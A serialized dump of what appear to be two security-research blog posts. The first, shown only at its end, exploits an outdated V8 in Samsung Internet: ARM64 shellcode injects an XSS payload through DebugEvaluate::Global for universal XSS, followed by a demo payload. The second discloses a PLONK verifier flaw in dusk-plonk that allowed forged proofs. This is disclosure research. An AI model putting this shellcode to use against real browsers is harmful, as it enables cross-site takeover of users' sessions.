x1\n",{"type":23,"tag":141,"props":139779,"children":139780},{"class":143,"line":271},[139781],{"type":23,"tag":141,"props":139782,"children":139783},{},[139784],{"type":29,"value":139785},"blr x9\n",{"type":23,"tag":141,"props":139787,"children":139788},{"class":143,"line":293},[139789],{"type":23,"tag":141,"props":139790,"children":139791},{},[139792],{"type":29,"value":139793},"// *x0 is isolate pointer\n",{"type":23,"tag":141,"props":139795,"children":139796},{"class":143,"line":801},[139797],{"type":23,"tag":141,"props":139798,"children":139799},{},[139800],{"type":29,"value":139801},"// store isolate ptr to stack\n",{"type":23,"tag":141,"props":139803,"children":139804},{"class":143,"line":810},[139805],{"type":23,"tag":141,"props":139806,"children":139807},{},[139808],{"type":29,"value":139809},"ldr x13, [x0]\n",{"type":23,"tag":141,"props":139811,"children":139812},{"class":143,"line":824},[139813],{"type":23,"tag":141,"props":139814,"children":139815},{},[139816],{"type":29,"value":139817},"str x13, [sp, #-16]!\n",{"type":23,"tag":141,"props":139819,"children":139820},{"class":143,"line":839},[139821],{"type":23,"tag":141,"props":139822,"children":139823},{"emptyLinePlaceholder":15},[139824],{"type":29,"value":719},{"type":23,"tag":141,"props":139826,"children":139827},{"class":143,"line":848},[139828],{"type":23,"tag":141,"props":139829,"children":139830},{},[139831],{"type":29,"value":139832},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":141,"props":139834,"children":139835},{"class":143,"line":2304},[139836],{"type":23,"tag":141,"props":139837,"children":139838},{},[139839],{"type":29,"value":139840},"movz x1, #0x1140\n",{"type":23,"tag":141,"props":139842,"children":139843},{"class":143,"line":2313},[139844],{"type":23,"tag":141,"props":139845,"children":139846},{},[139847],{"type":29,"value":139848},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":141,"props":139850,"children":139851},{"class":143,"line":2335},[139852],{"type":23,"tag":141,"props":139853,"children":139854},{},[139855],{"type":29,"value":139856},"sub x10, x12, x1\n",{"type":23,"tag":141,"props":139858,"children":139859},{"class":143,"line":2343},[139860],{"type":23,"tag":141,"props":139861,"children":139862},{"emptyLinePlaceholder":15},[139863],{"type":29,"value":719},{"type":23,"tag":141,"props":139865,"children":139866},{"class":143,"line":2352},[139867],{"type":23,"tag":141,"props":139868,"children":139869},{},[139870],{"type":29,"value":139871},"// mmap a RW page for our xss payload\n",{"type":23,"tag":141,"props":139873,"children":139874},{"class":143,"line":2421},[139875],{"type":23,"tag":141,"props":139876,"children":139877},{},[139878],{"type":29,"value":138222},{"type":23,"tag":141,"props":139880,"children":139881},{"class":143,"line":2429},[139882],{"type":23,"tag":141,"props":139883,"children":139884},{},[139885],{"type":29,"value":139886},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":141,"props":139888,"children":139889},{"class":143,"line":2459},[139890],{"type":23,"tag":141,"props":139891,"children":139892},{},[139893],{"type":29,"value":139894},"mov x2, #3\n",{"type":23,"tag":141,"props":139896,"children":139897},{"class":143,"line":2467},[139898],{"type":23,"tag":141,"props":139899,"children":139900},{},[139901],{"type":29,"value":138245},{"type":23,"tag":141,"props":139903,"children":139904},{"class":143,"line":2499},[139905],{"type":23,"tag":141,"props":139906,"children":139907},{},[139908],{"type":29,"value":138253},{"type":23,"tag":141,"props":139910,"children":139911},{"class":143,"line":2507},[139912],{"type":23,"tag":141,"props":139913,"children":139914},{},[139915],{"type":29,"value":138261},{"type":23,"tag":141,"props":139917,"children":139918},{"class":143,"line":2567},[139919],{"type":23,"tag":141,"props":139920,"children":139921},{},[139922],{"type":29,"value":138269},{"type":23,"tag":141,"props":139924,"children":139925},{"class":143,"line":7724},[139926],{"type":23,"tag":141,"props":139927,"children":139928},{},[139929],{"type":29,"value":138184},{"type":23,"tag":141,"props":139931,"children":139932},{"class":143,"line":7742},[139933],{"type":23,"tag":141,"props":139934,"children":139935},{"emptyLinePlaceholder":15},[139936],{"type":29,"value":719},{"type":23,"tag":141,"props":139938,"children":139939},{"class":143,"line":7787},[139940],{"type":23,"tag":141,"props":139941,"children":139942},{},[139943],{"type":29,"value":139944},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":141,"props":139946,"children":139947},{"class":143,"line":7893},[139948],{"type":23,"tag":141,"props":139949,"children":139950},{},[139951],{"type":29,"value":139952},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":141,"props":139954,"children":139955},{"class":143,"line":22181},[139956],{"type":23,"tag":141,"props":139957,"children":139958},{"emptyLinePlaceholder":15},[139959],{"type":29,"value":719},{"type":23,"tag":141,"props":139961,"children":139962},{"class":143,"line":22216},[139963],{"type":23,"tag":141,"props":139964,"children":139965},{},[139966],{"type":29,"value":139967},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":141,"props":139969,"children":139970},{"class":143,"line":22224},[139971],{"type":23,"tag":141,"props":139972,"children":139973},{},[139974],{"type":29,"value":139975},"mov x11, x0\n",{"type":23,"tag":141,"props":139977,"children":139978},{"class":143,"line":22232},[139979],{"type":23,"tag":141,"props":139980,"children":139981},{"emptyLinePlaceholder":15},[139982],{"type":29,"value":719},{"type":23,"tag":141,"props":139984,"children":139985},{"class":143,"line":22241},[139986],{"type":23,"tag":141,"props":139987,"children":139988},{},[139989],{"type":29,"value":139990},"// pop back isolate pointer\n",{"type":23,"tag":141,"props":139992,"children":139993},{"class":143,"line":22283},[139994],{"type":23,"tag":141,"props":139995,"children":139996},{},[139997],{"type":29,"value":139998},"ldr x13, [sp], #16\n",{"type":23,"tag":141,"props":140000,"children":140001},{"class":143,"line":22316},[140002],{"type":23,"tag":141,"props":140003,"children":140004},{"emptyLinePlaceholder":15},[140005],{"type":29,"value":719},{"type":23,"tag":141,"props":140007,"children":140008},{"class":143,"line":22324},[140009],{"type":23,"tag":141,"props":140010,"children":140011},{},[140012],{"type":29,"value":138305},{"type":23,"tag":141,"props":140014,"children":140015},{"class":143,"line":22332},[140016],{"type":23,"tag":141,"props":140017,"children":140018},{},[140019],{"type":29,"value":140020},"// x13 = isolate *\n",{"type":23,"tag":141,"props":140022,"children":140023},{"class":143,"line":22341},[140024],{"type":23,"tag":141,"props":140025,"children":140026},{},[140027],{"type":29,"value":140028},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":141,"props":140030,"children":140031},{"class":143,"line":22417},[140032],{"type":23,"tag":141,"props":140033,"children":140034},{},[140035],{"type":29,"value":140036},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":141,"props":140038,"children":140039},{"class":143,"line":22450},[140040],{"type":23,"tag":141,"props":140041,"children":140042},{"emptyLinePlaceholder":15},[140043],{"type":29,"value":719},{"type":23,"tag":141,"props":140045,"children":140046},{"class":143,"line":22458},[140047],{"type":23,"tag":141,"props":140048,"children":140049},{},[140050],{"type":29,"value":140051},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":141,"props":140053,"children":140054},{"class":143,"line":22466},[140055],{"type":23,"tag":141,"props":140056,"children":140057},{},[140058],{"type":29,"value":140059},"// arg0 = isolate *\n",{"type":23,"tag":141,"props":140061,"children":140062},{"class":143,"line":22503},[140063],{"type":23,"tag":141,"props":140064,"children":140065},{},[140066],{"type":29,"value":140067},"mov x0, x13\n",{"type":23,"tag":141,"props":140069,"children":140070},{"class":143,"line":22516},[140071],{"type":23,"tag":141,"props":140072,"children":140073},{},[140074],{"type":29,"value":140075},"// arg1 = char *c_str\n",{"type":23,"tag":141,"props":140077,"children":140078},{"class":143,"line":22529},[140079],{"type":23,"tag":141,"props":140080,"children":140081},{},[140082],{"type":29,"value":140083},"mov x1, x11\n",{"type":23,"tag":141,"props":140085,"children":140086},{"class":143,"line":22542},[140087],{"type":23,"tag":141,"props":140088,"children":140089},{},[140090],{"type":29,"value":140091},"// arg2 = type = kNormal\n",{"type":23,"tag":141,"props":140093,"children":140094},{"class":143,"line":22596},[140095],{"type":23,"tag":141,"props":140096,"children":140097},{},[140098],{"type":29,"value":140099},"mov x2, #0\n",{"type":23,"tag":141,"props":140101,"children":140102},{"class":143,"line":22605},[140103],{"type":23,"tag":141,"props":140104,"children":140105},{},[140106],{"type":29,"value":140107},"// arg4 = length\n",{"type":23,"tag":141,"props":140109,"children":140110},{"class":143,"line":30749},[140111],{"type":23,"tag":141,"props":140112,"children":140113},{},[140114],{"type":29,"value":140115},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":141,"props":140117,"children":140118},{"class":143,"line":30770},[140119],{"type":23,"tag":141,"props":140120,"children":140121},{},[140122],{"type":29,"value":140123},"// call NewFromUTF8\n",{"type":23,"tag":141,"props":140125,"children":140126},{"class":143,"line":79436},[140127],{"type":23,"tag":141,"props":140128,"children":140129},{},[140130],{"type":29,"value":140131},"blr x10\n",{"type":23,"tag":141,"props":140133,"children":140134},{"class":143,"line":79449},[140135],{"type":23,"tag":141,"props":140136,"children":140137},{"emptyLinePlaceholder":15},[140138],{"type":29,"value":719},{"type":23,"tag":141,"props":140140,"children":140141},{"class":143,"line":79457},[140142],{"type":23,"tag":141,"props":140143,"children":140144},{},[140145],{"type":29,"value":140146},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":141,"props":140148,"children":140149},{"class":143,"line":79465},[140150],{"type":23,"tag":141,"props":140151,"children":140152},{},[140153],{"type":29,"value":140154},"mov x14, x0\n",{"type":23,"tag":141,"props":140156,"children":140157},{"class":143,"line":79473},[140158],{"type":23,"tag":141,"props":140159,"children":140160},{"emptyLinePlaceholder":15},[140161],{"type":29,"value":719},{"type":23,"tag":141,"props":140163,"children":140164},{"class":143,"line":79513},[140165],{"type":23,"tag":141,"props":140166,"children":140167},{},[140168],{"type":29,"value":140169},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":141,"props":140171,"children":140172},{"class":143,"line":79521},[140173],{"type":23,"tag":141,"props":140174,"children":140175},{},[140176],{"type":29,"value":140177},"movz x1, #0xe44c\n",{"type":23,"tag":141,"props":140179,"children":140180},{"class":143,"line":86708},[140181],{"type":23,"tag":141,"props":140182,"children":140183},{},[140184],{"type":29,"value":140185},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":141,"props":140187,"children":140188},{"class":143,"line":86716},[140189],{"type":23,"tag":141,"props":140190,"children":140191},{},[140192],{"type":29,"value":140193},"sub x9, x12, x1\n",{"type":23,"tag":141,"props":140195,"children":140196},{"class":143,"line":100062},[140197],{"type":23,"tag":141,"props":140198,"children":140199},{"emptyLinePlaceholder":15},[140200],{"type":29,"value":719},{"type":23,"tag":141,"props":140202,"children":140203},{"class":143,"line":100070},[140204],{"type":23,"tag":141,"props":140205,"children":140206},{},[140207],{"type":29,"value":140208},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":141,"props":140210,"children":140211},{"class":143,"line":100078},[140212],{"type":23,"tag":141,"props":140213,"children":140214},{},[140215],{"type":29,"value":140059},{"type":23,"tag":141,"props":140217,"children":140218},{"class":143,"line":100086},[140219],{"type":23,"tag":141,"props":140220,"children":140221},{},[140222],{"type":29,"value":140067},{"type":23,"tag":141,"props":140224,"children":140225},{"class":143,"line":100114},[140226],{"type":23,"tag":141,"props":140227,"children":140228},{},[140229],{"type":29,"value":140230},"// arg1 = String *source\n",{"type":23,"tag":141,"props":140232,"children":140233},{"class":143,"line":102885},[140234],{"type":23,"tag":141,"props":140235,"children":140236},{},[140237],{"type":29,"value":140238},"mov x1, x14\n",{"type":23,"tag":141,"props":140240,"children":140241},{"class":143,"line":102893},[140242],{"type":23,"tag":141,"props":140243,"children":140244},{},[140245],{"type":29,"value":140246},"// arg2 = mode = kDefault\n",{"type":23,"tag":141,"props":140248,"children":140250},{"class":143,"line":140249},69,[140251],{"type":23,"tag":141,"props":140252,"children":140253},{},[140254],{"type":29,"value":140099},{"type":23,"tag":141,"props":140256,"children":140258},{"class":143,"line":140257},70,[140259],{"type":23,"tag":141,"props":140260,"children":140261},{},[140262],{"type":29,"value":140263},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":141,"props":140265,"children":140267},{"class":143,"line":140266},71,[140268],{"type":23,"tag":141,"props":140269,"children":140270},{},[140271],{"type":29,"value":140272},"mov x3, #0\n",{"type":23,"tag":141,"props":140274,"children":140276},{"class":143,"line":140275},72,[140277],{"type":23,"tag":141,"props":140278,"children":140279},{"emptyLinePlaceholder":15},[140280],{"type":29,"value":719},{"type":23,"tag":141,"props":140282,"children":140284},{"class":143,"line":140283},73,[140285],{"type":23,"tag":141,"props":140286,"children":140287},{},[140288],{"type":29,"value":139785},{"type":23,"tag":8287,"props":140290,"children":140292},{"id":140291},"uxss-demo",[140293],{"type":29,"value":140294},"UXSS Demo",{"type":23,"tag":32,"props":140296,"children":140297},{},[140298,140300,140306],{"type":29,"value":140299},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":38,"props":140301,"children":140303},{"className":140302},[],[140304],{"type":29,"value":140305},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":322},{"type":23,"tag":130343,"props":140308,"children":140311},{"className":140309,"controls":15},[140310],"blog-video-responsive",[140312,140314,140318],{"type":29,"value":140313},"\n ",{"type":23,"tag":139549,"props":140315,"children":140317},{"src":140316,"type":130341},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":140319},"\n Your browser does not support the video tag.\n",{"type":23,"tag":24,"props":140321,"children":140322},{"id":27618},[140323],{"type":29,"value":17618},{"type":23,"tag":32,"props":140325,"children":140326},{},[140327],{"type":29,"value":140328},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":32,"props":140330,"children":140331},{},[140332],{"type":29,"value":140333},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":1508,"props":140335,"children":140336},{},[140337],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":140339},[140340,140344,140347,140357],{"id":26,"depth":180,"text":30,"children":140341},[140342,140343],{"id":130477,"depth":205,"text":130480},{"id":130560,"depth":205,"text":130563},{"id":130593,"depth":180,"text":130596,"children":140345},[140346],{"id":130734,"depth":205,"text":130588},{"id":130878,"depth":180,"text":130881,"children":140348},[140349,140350,140351,140352,140353,140354,140355,140356],{"id":130884,"depth":205,"text":130887},{"id":131341,"depth":205,"text":131344},{"id":131524,"depth":205,"text":131527},{"id":131635,"depth":205,"text":131638},{"id":131912,"depth":205,"text":131915},{"id":134622,"depth":205,"text":134625},{"id":137903,"depth":205,"text":137906},{"id":140291,"depth":205,"text":140294},{"id":27618,"depth":180,"text":17618},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":140362,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":140363,"description":140364,"date":140365,"author":140366,"image":140367,"isFeatured":15,"onBlogPage":15,"tags":140369,"body":140372,"_type":1522,"_id":145636,"_source":1524,"_file":145637,"_stem":145638,"_extension":1527},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[106323,106324],{"src":140368,"width":95753,"height":13},"/posts/dusk-commitment-issues/title.png",[140370,140371],"dusk","plonk",{"type":20,"children":140373,"toc":145616},[140374,140380,140421,140433,140439,140453,140458,140464,140755,140759,141031,141261,141267,141952,141956,142451,142459,142465,142484,142489,142495,142720,142759,142770,142776,142787,143495,143500,143503,143509,143562,143597,143629,143634,143638,143641,143647,143658,143671,143702,143769,143777,143799,143812,144239,144262,144267,144270,144275,144302,144398,144409,144456,144494,144505,144843,144860,144868,144871,144877,144882,144916,144924,145005,145008,145014,145028,145046,145051,145091,145099,145120,145123,145129,145134,145199,145213,145216,145222,145262,145273,145278,145283,145289,145303,145384,145405,145432,145435,145441,145455,145460,145465,145470,145605,145611],{"type":23,"tag":33843,"props":140375,"children":140377},{"id":140376},"commitment-issues-unverified-evaluations-in-dusks-plonk",[140378],{"type":29,"value":140379},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":32,"props":140381,"children":140382},{},[140383,140385,140392,140394,140401,140403,140410,140412,140419],{"type":29,"value":140384},"We found a critical soundness vulnerability in ",{"type":23,"tag":55,"props":140386,"children":140389},{"href":140387,"rel":140388},"https://github.com/dusk-network/plonk/",[59],[140390],{"type":29,"value":140391},"dusk-plonk",{"type":29,"value":140393},", the PLONK implementation powering ",{"type":23,"tag":55,"props":140395,"children":140398},{"href":140396,"rel":140397},"https://dusk.network/",[59],[140399],{"type":29,"value":140400},"Dusk Network's",{"type":29,"value":140402}," ~$60M ",{"type":23,"tag":55,"props":140404,"children":140407},{"href":140405,"rel":140406},"https://www.coingecko.com/en/coins/dusk",[59],[140408],{"type":29,"value":140409},"market cap",{"type":29,"value":140411},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":55,"props":140413,"children":140416},{"href":140414,"rel":140415},"https://github.com/dusk-network/rusk",[59],[140417],{"type":29,"value":140418},"Rusk",{"type":29,"value":140420}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":32,"props":140422,"children":140423},{},[140424,140426,140431],{"type":29,"value":140425},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":3998,"props":140427,"children":140428},{},[140429],{"type":29,"value":140430},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":140432}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":24,"props":140434,"children":140436},{"id":140435},"how-plonk-works-briefly",[140437],{"type":29,"value":140438},"How PLONK works (briefly)",{"type":23,"tag":32,"props":140440,"children":140441},{},[140442,140444,140451],{"type":29,"value":140443},"For a rigorous treatment see the ",{"type":23,"tag":55,"props":140445,"children":140448},{"href":140446,"rel":140447},"https://eprint.iacr.org/2019/953",[59],[140449],{"type":29,"value":140450},"original paper",{"type":29,"value":140452},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":32,"props":140454,"children":140455},{},[140456],{"type":29,"value":140457},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":8287,"props":140459,"children":140461},{"id":140460},"arithmetic-circuits-and-constraints",[140462],{"type":29,"value":140463},"Arithmetic circuits and constraints",{"type":23,"tag":32,"props":140465,"children":140466},{},[140467,140469,140518,140520,140669,140671,140754],{"type":29,"value":140468},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":38,"props":140470,"children":140472},{"className":140471},[2658,2659],[140473],{"type":23,"tag":141,"props":140474,"children":140476},{"className":140475},[2664],[140477],{"type":23,"tag":141,"props":140478,"children":140480},{"className":140479,"ariaHidden":2670},[2669],[140481],{"type":23,"tag":141,"props":140482,"children":140484},{"className":140483},[2675],[140485,140489,140494,140499,140504,140508,140513],{"type":23,"tag":141,"props":140486,"children":140488},{"className":140487,"style":2787},[2680],[],{"type":23,"tag":141,"props":140490,"children":140492},{"className":140491},[20389],[140493],{"type":29,"value":192},{"type":23,"tag":141,"props":140495,"children":140497},{"className":140496},[2686,20260],[140498],{"type":29,"value":17947},{"type":23,"tag":141,"props":140500,"children":140502},{"className":140501},[2798],[140503],{"type":29,"value":512},{"type":23,"tag":141,"props":140505,"children":140507},{"className":140506,"style":2804},[2766],[],{"type":23,"tag":141,"props":140509,"children":140511},{"className":140510,"style":92018},[2686,20260],[140512],{"type":29,"value":1775},{"type":23,"tag":141,"props":140514,"children":140516},{"className":140515},[20411],[140517],{"type":29,"value":1788},{"type":29,"value":140519}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":38,"props":140521,"children":140523},{"className":140522},[2658,2659],[140524],{"type":23,"tag":141,"props":140525,"children":140527},{"className":140526},[2664],[140528],{"type":23,"tag":141,"props":140529,"children":140531},{"className":140530,"ariaHidden":2670},[2669],[140532,140594,140656],{"type":23,"tag":141,"props":140533,"children":140535},{"className":140534},[2675],[140536,140540,140581,140585,140590],{"type":23,"tag":141,"props":140537,"children":140539},{"className":140538,"style":121869},[2680],[],{"type":23,"tag":141,"props":140541,"children":140543},{"className":140542},[2686],[140544,140549],{"type":23,"tag":141,"props":140545,"children":140547},{"className":140546,"style":92018},[2686,20260],[140548],{"type":29,"value":1775},{"type":23,"tag":141,"props":140550,"children":140552},{"className":140551},[2702],[140553],{"type":23,"tag":141,"props":140554,"children":140556},{"className":140555},[2707],[140557],{"type":23,"tag":141,"props":140558,"children":140560},{"className":140559},[2712],[140561],{"type":23,"tag":141,"props":140562,"children":140564},{"className":140563,"style":2681},[2717],[140565],{"type":23,"tag":141,"props":140566,"children":140567},{"style":2721},[140568,140572],{"type":23,"tag":141,"props":140569,"children":140571},{"className":140570,"style":2727},[2726],[],{"type":23,"tag":141,"props":140573,"children":140575},{"className":140574},[2732,2733,2734,2735],[140576],{"type":23,"tag":141,"props":140577,"children":140579},{"className":140578},[2686,2735],[140580],{"type":29,"value":1049},{"type":23,"tag":141,"props":140582,"children":140584},{"className":140583,"style":2863},[2766],[],{"type":23,"tag":141,"props":140586,"children":140588},{"className":140587},[2868],[140589],{"type":29,"value":1377},{"type":23,"tag":141,"props":140591,"children":140593},{"className":140592,"style":2863},[2766],[],{"type":23,"tag":141,"props":140595,"children":140597},{"className":140596},[2675],[140598,140602,140643,140647,140652],{"type":23,"tag":141,"props":140599,"children":140601},{"className":140600,"style":121744},[2680],[],{"type":23,"tag":141,"props":140603,"children":140605},{"className":140604},[2686],[140606,140611],{"type":23,"tag":141,"props":140607,"children":140609},{"className":140608},[2686,20260],[140610],{"type":29,"value":17947},{"type":23,"tag":141,"props":140612,"children":140614},{"className":140613},[2702],[140615],{"type":23,"tag":141,"props":140616,"children":140618},{"className":140617},[2707],[140619],{"type":23,"tag":141,"props":140620,"children":140622},{"className":140621},[2712],[140623],{"type":23,"tag":141,"props":140624,"children":140626},{"className":140625,"style":2681},[2717],[140627],{"type":23,"tag":141,"props":140628,"children":140629},{"style":2721},[140630,140634],{"type":23,"tag":141,"props":140631,"children":140633},{"className":140632,"style":2727},[2726],[],{"type":23,"tag":141,"props":140635,"children":140637},{"className":140636},[2732,2733,2734,2735],[140638],{"type":23,"tag":141,"props":140639,"children":140641},{"className":140640},[2686,2735],[140642],{"type":29,"value":15972},{"type":23,"tag":141,"props":140644,"children":140646},{"className":140645,"style":2767},[2766],[],{"type":23,"tag":141,"props":140648,"children":140650},{"className":140649},[2772],[140651],{"type":29,"value":3058},{"type":23,"tag":141,"props":140653,"children":140655},{"className":140654,"style":2767},[2766],[],{"type":23,"tag":141,"props":140657,"children":140659},{"className":140658},[2675],[140660,140664],{"type":23,"tag":141,"props":140661,"children":140663},{"className":140662,"style":92563},[2680],[],{"type":23,"tag":141,"props":140665,"children":140667},{"className":140666},[2686],[140668],{"type":29,"value":53150},{"type":29,"value":140670},", here in ",{"type":23,"tag":38,"props":140672,"children":140674},{"className":140673},[2658,2659],[140675],{"type":23,"tag":141,"props":140676,"children":140678},{"className":140677},[2664],[140679],{"type":23,"tag":141,"props":140680,"children":140682},{"className":140681,"ariaHidden":2670},[2669],[140683],{"type":23,"tag":141,"props":140684,"children":140686},{"className":140685},[2675],[140687,140692],{"type":23,"tag":141,"props":140688,"children":140691},{"className":140689,"style":140690},[2680],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":140693,"children":140695},{"className":140694},[2686],[140696,140701],{"type":23,"tag":141,"props":140697,"children":140699},{"className":140698},[2686,120307],[140700],{"type":29,"value":120310},{"type":23,"tag":141,"props":140702,"children":140704},{"className":140703},[2702],[140705],{"type":23,"tag":141,"props":140706,"children":140708},{"className":140707},[2707,20314],[140709,140743],{"type":23,"tag":141,"props":140710,"children":140712},{"className":140711},[2712],[140713,140738],{"type":23,"tag":141,"props":140714,"children":140716},{"className":140715,"style":91584},[2717],[140717],{"type":23,"tag":141,"props":140718,"children":140719},{"style":91588},[140720,140724],{"type":23,"tag":141,"props":140721,"children":140723},{"className":140722,"style":2727},[2726],[],{"type":23,"tag":141,"props":140725,"children":140727},{"className":140726},[2732,2733,2734,2735],[140728],{"type":23,"tag":141,"props":140729,"children":140731},{"className":140730},[2686,2735],[140732],{"type":23,"tag":141,"props":140733,"children":140735},{"className":140734},[2686,2735],[140736],{"type":29,"value":140737},"37",{"type":23,"tag":141,"props":140739,"children":140741},{"className":140740},[20417],[140742],{"type":29,"value":20420},{"type":23,"tag":141,"props":140744,"children":140746},{"className":140745},[2712],[140747],{"type":23,"tag":141,"props":140748,"children":140750},{"className":140749,"style":91615},[2717],[140751],{"type":23,"tag":141,"props":140752,"children":140753},{},[],{"type":29,"value":322},{"type":23,"tag":140756,"props":140757,"children":140758},"arithmetic-circuit-widget",{},[],{"type":23,"tag":32,"props":140760,"children":140761},{},[140762,140764,140790,140792,140871,140873,140950,140952,141029],{"type":29,"value":140763},"Each gate ",{"type":23,"tag":38,"props":140765,"children":140767},{"className":140766},[2658,2659],[140768],{"type":23,"tag":141,"props":140769,"children":140771},{"className":140770},[2664],[140772],{"type":23,"tag":141,"props":140773,"children":140775},{"className":140774,"ariaHidden":2670},[2669],[140776],{"type":23,"tag":141,"props":140777,"children":140779},{"className":140778},[2675],[140780,140785],{"type":23,"tag":141,"props":140781,"children":140784},{"className":140782,"style":140783},[2680],"height:0.6595em;",[],{"type":23,"tag":141,"props":140786,"children":140788},{"className":140787},[2686,20260],[140789],{"type":29,"value":2404},{"type":29,"value":140791}," has a left input ",{"type":23,"tag":38,"props":140793,"children":140795},{"className":140794},[2658,2659],[140796],{"type":23,"tag":141,"props":140797,"children":140799},{"className":140798},[2664],[140800],{"type":23,"tag":141,"props":140801,"children":140803},{"className":140802,"ariaHidden":2670},[2669],[140804],{"type":23,"tag":141,"props":140805,"children":140807},{"className":140806},[2675],[140808,140813],{"type":23,"tag":141,"props":140809,"children":140812},{"className":140810,"style":140811},[2680],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":140814,"children":140816},{"className":140815},[2686],[140817,140822],{"type":23,"tag":141,"props":140818,"children":140820},{"className":140819,"style":91544},[2686,20260],[140821],{"type":29,"value":91547},{"type":23,"tag":141,"props":140823,"children":140825},{"className":140824},[2702],[140826],{"type":23,"tag":141,"props":140827,"children":140829},{"className":140828},[2707,20314],[140830,140860],{"type":23,"tag":141,"props":140831,"children":140833},{"className":140832},[2712],[140834,140855],{"type":23,"tag":141,"props":140835,"children":140837},{"className":140836,"style":92061},[2717],[140838],{"type":23,"tag":141,"props":140839,"children":140841},{"style":140840},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[140842,140846],{"type":23,"tag":141,"props":140843,"children":140845},{"className":140844,"style":2727},[2726],[],{"type":23,"tag":141,"props":140847,"children":140849},{"className":140848},[2732,2733,2734,2735],[140850],{"type":23,"tag":141,"props":140851,"children":140853},{"className":140852},[2686,20260,2735],[140854],{"type":29,"value":2404},{"type":23,"tag":141,"props":140856,"children":140858},{"className":140857},[20417],[140859],{"type":29,"value":20420},{"type":23,"tag":141,"props":140861,"children":140863},{"className":140862},[2712],[140864],{"type":23,"tag":141,"props":140865,"children":140867},{"className":140866,"style":91615},[2717],[140868],{"type":23,"tag":141,"props":140869,"children":140870},{},[],{"type":29,"value":140872},", right input ",{"type":23,"tag":38,"props":140874,"children":140876},{"className":140875},[2658,2659],[140877],{"type":23,"tag":141,"props":140878,"children":140880},{"className":140879},[2664],[140881],{"type":23,"tag":141,"props":140882,"children":140884},{"className":140883,"ariaHidden":2670},[2669],[140885],{"type":23,"tag":141,"props":140886,"children":140888},{"className":140887},[2675],[140889,140893],{"type":23,"tag":141,"props":140890,"children":140892},{"className":140891,"style":108502},[2680],[],{"type":23,"tag":141,"props":140894,"children":140896},{"className":140895},[2686],[140897,140902],{"type":23,"tag":141,"props":140898,"children":140900},{"className":140899,"style":91532},[2686,20260],[140901],{"type":29,"value":92351},{"type":23,"tag":141,"props":140903,"children":140905},{"className":140904},[2702],[140906],{"type":23,"tag":141,"props":140907,"children":140909},{"className":140908},[2707,20314],[140910,140939],{"type":23,"tag":141,"props":140911,"children":140913},{"className":140912},[2712],[140914,140934],{"type":23,"tag":141,"props":140915,"children":140917},{"className":140916,"style":92061},[2717],[140918],{"type":23,"tag":141,"props":140919,"children":140920},{"style":108531},[140921,140925],{"type":23,"tag":141,"props":140922,"children":140924},{"className":140923,"style":2727},[2726],[],{"type":23,"tag":141,"props":140926,"children":140928},{"className":140927},[2732,2733,2734,2735],[140929],{"type":23,"tag":141,"props":140930,"children":140932},{"className":140931},[2686,20260,2735],[140933],{"type":29,"value":2404},{"type":23,"tag":141,"props":140935,"children":140937},{"className":140936},[20417],[140938],{"type":29,"value":20420},{"type":23,"tag":141,"props":140940,"children":140942},{"className":140941},[2712],[140943],{"type":23,"tag":141,"props":140944,"children":140946},{"className":140945,"style":91615},[2717],[140947],{"type":23,"tag":141,"props":140948,"children":140949},{},[],{"type":29,"value":140951},", and output 